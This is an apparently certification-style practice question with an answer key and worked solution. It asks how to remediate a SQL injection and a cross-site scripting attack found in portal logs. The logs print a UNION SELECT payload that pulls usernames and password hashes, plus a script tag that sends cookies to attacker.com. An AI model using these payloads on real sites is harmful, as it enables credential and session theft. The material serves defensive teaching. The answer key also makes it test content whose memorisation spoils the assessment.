Examkin

Question

Difficulty: HardApplication and Software Vulnerabilities

A security analyst investigates application logs following an intrusion alert on a customer-facing portal and identifies two distinct HTTP request strings executed in rapid succession:

text
GET /search.php?item=102%20UNION%20SELECT%20username,password_hash%20FROM%20accounts-- HTTP/1.1
POST /feedback.php HTTP/1.1
Host: portal.example.com
Content-Type: application/x-www-form-urlencoded

comment=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

Based on the log evidence provided, which of the following software remediations must the development team implement to eliminate these specific application vulnerabilities? (Select TWO.)

  1. Enforce parameterized SQL queries and prepared statements within the database abstraction layer for search queries.Answer
  2. Apply contextual HTML entity output encoding to user-supplied input prior to rendering it within the web application interface.Answer
  3. C
    Deploy stateful network firewall rules to drop inbound HTTP traffic containing database query keywords.
  4. D
    Configure mandatory multi-factor authentication (MFA) on the application login portal to restrict database read permissions.

Answer

The correct remediations are implementing parameterized SQL queries (prepared statements) to mitigate the SQL injection vulnerability and utilizing contextual output encoding to neutralize the Cross-Site Scripting (XSS) attack.
The logs reflect two classic web application attack vectors: SQL Injection (manipulating backend database logic via unvalidated parameters) and Cross-Site Scripting (injecting malicious client-side scripts into web pages). The proper software development remedies are parameterized database queries (prepared statements) to isolate parameter inputs from SQL syntax, and contextual output encoding to prevent user-controlled scripts from executing inside the victim's browser.

Step-by-Step Solution

1
Analyze the first HTTP request GET payload string
The string contains SQL keywords (`UNION SELECT`) and comment delimiters (`--`), indicating a classic SQL Injection (SQLi) attack aimed at database extraction.
Identify the specific flaw type affecting database interaction.
2
Analyze the second HTTP request POST body payload string
The string contains JavaScript elements (`<script>` tag targeting `document.cookie`), indicating a Cross-Site Scripting (XSS) attack aimed at cookie theft.
Identify the client-side execution flaw type affecting user browser execution.
3
Select targeted developer remedies for each identified vulnerability class
Prepared statements prevent SQL structure alteration by binding inputs as data, while output encoding prevents the web browser from interpreting user inputs as executable HTML/JS instructions.
Match software vulnerability remediation standards to verified attack vectors.

Key Concept

Application Input Validation and Output Encoding Mitigations
Rate this question

Topics

Application and Software Vulnerabilities

More questions from this topic